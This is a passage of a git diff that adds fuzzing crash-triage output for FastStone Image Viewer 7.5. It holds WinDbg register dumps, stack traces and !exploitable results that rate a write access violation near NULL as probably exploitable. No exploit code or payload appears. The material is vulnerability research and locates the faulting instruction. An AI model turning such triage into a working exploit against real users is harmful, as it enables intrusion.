+CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ad06163 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..abe8862 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..cbb2e34 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x16C8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x16C8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(16c8.1da4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=07cbefd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.244900000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.94629e+013 -1.34419e-006 -7.45101e-028 0.00800155 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00395000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00395000 ed3ac922 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6292 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00395000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..cbb2e34 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x16C8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x16C8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(16c8.1da4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=07cbefd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.244900000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.94629e+013 -1.34419e-006 -7.45101e-028 0.00800155 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00395000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00395000 ed3ac922 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6292 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00395000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..abe8862 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36259/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36262/Initial/SystemDebugger_description.txt 